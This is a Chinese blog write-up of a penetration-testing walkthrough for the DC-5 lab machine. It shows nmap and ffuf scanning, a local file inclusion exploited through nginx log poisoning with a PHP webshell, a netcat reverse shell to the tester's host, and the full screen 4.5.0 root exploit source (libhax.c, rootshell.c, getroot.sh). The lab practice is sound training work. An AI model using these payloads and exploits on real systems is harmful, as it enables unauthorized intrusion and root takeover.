DC靶场的下载、安装与访问在上一篇的文章中。
2022-渗透测试-DC靶场的下载、安装与访问_保持微笑的博客-CSDN博客
https://blog.csdn.net/qq_38612882/article/details/122779202
靶场攻略:
1、使用nmap快速扫描的命令:
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.120.0/24
识别到靶场主机ip

2.使用命令:
nmap -A -p- -T4 192.168.120.137
探测靶场突破口,探测到开放了80端口,111端口和58821端口没啥用处。

3.访问80端口,寻找进一步突破口。如果直接使用ip访问会跳转到http://dc-4/,而无法正常加载出来。所以需要我们去添加hosts文件,跳转域名来访问靶场ip。
Windows:可以访问本地hosts,打开C:\Windows\System32\drivers\etc,修改hosts文件。

Linux:在/etc/hosts文件中添加域名。
打开浏览器,访问即可。

在contact.php页面,发现了交互地方。

我们先随便写一个提交一下。

当我们每次刷新的时候,下面的 copy的时间是一直在变化的。

4.此时我们可以对目录进行扫描一下。
ffuf -u http://192.168.120.137/FUZZ -w /root/fuzzDicts-master/directoryDicts/Filenames_or_Directories_All.txt -s

访问footer.php时,可以看到copyright,结合我们提交后的那个页面,我们可以得知,这里存在文件包含。

漏洞利用
一般文件包含的参数常见的有 include, require, page ,file, f等等,我们可以首先手动尝试这些可能性极高的参数,如果没有发现再通过字典爆破。最终发现 file正是文件包含的参数。
http://dc-5/thankyou.php?file=index.php

http://dc-5/thankyou.php?file=/etc/passwd

网站外部文件也能包含进来,那么我们也可以包含nginx的日志文件。ginx就会把相关的访问记录写入日志文件 access.log的中,每当我们访问一个出错的页面,nginx就会把相关的错误访问记录写入日志文件 error.log中。nginx的日志文件一般存储在 /var/log/nginx/中。我们尝试将一句话木马写入日志文件中。
我们就可以上传一句话木马。打开Burpsuite,抓包修改file参数,传入一句话file=<?php system($_GET['x']) ?>

然后再来测试一下命令
http://dc-5/thankyou.php?file=/var/log/nginx/error.log&x=id

建立shell
接下来就反弹一个shell,在本地监听一个端口 4443。

然后再浏览器访问下面地址,利用一句话木马执行反弹shell的命令。
http://dc-5/thankyou.php?file=/var/log/nginx/error.log&x=nc -e /bin/bash 192.168.120.129 4443

然后升级为交互式shell,在本地执行下面命令:
python -c 'import pty;pty.spawn("/bin/bash")'

然后进行提权。
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
-perm 是代表按指定权限搜索。
-u=s 其中u代表当前用户的权限,s代表suid权限,-号代表至少需要满足指定的权限,可以有更多的权限,但是不能少了这个指定权限
-tpye 代表搜索指定的类型,f代表文件。
-exec 代表搜索完后执行指定的命令,其中{}代表所搜到的结果,命令以分号为结束标识。
2>/dev/null 代表不显示错误信息,

用searchsploit搜索一下screen-4.5.0的文件。
searchsploit screen 4.5.0

我们将41154.sh文件复制到当前目录下面。
searchsploit -m 41154.sh

查看这个文件
cat 41154.sh
从这个文件可以得出,需要我们去创建两个文件libhax.c和rootshell.c,之后使用gcc进行编译。
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
将这段代码保存为 libhax.c,并执行下面命令进行编译:
gcc -fPIC -shared -ldl -o libhax.so libhax.c
-fPIC 参数表明使用地址无关代码。
-shared 参数表明产生共享库。
-ldl 其中参数-l为连接一个共享库,dl表示名为libdl.a的静态库。

将下面代码保存为 rootshell.c文件
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
然后执行下面命令编译rootshell.c:
gcc -o rootshell rootshell.c

然后将下面代码保存为 getroot.sh。
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
然后将编译后的文件和 getroot.sh共三个文件一起上传到靶机的 /tmp目录。这里我通过蚁剑上传的,然后修改getroot.sh的权限。

提权成功,在/root目录获取flag。


本文详细介绍了如何下载、安装DC靶场,通过nmap工具进行扫描,发现并利用文件包含漏洞实现提权,最后完成交互式shell的建立。涉及技术包括nmap、文件包含攻击、Web应用漏洞和渗透测试技巧。

1859

被折叠的 条评论
为什么被折叠?



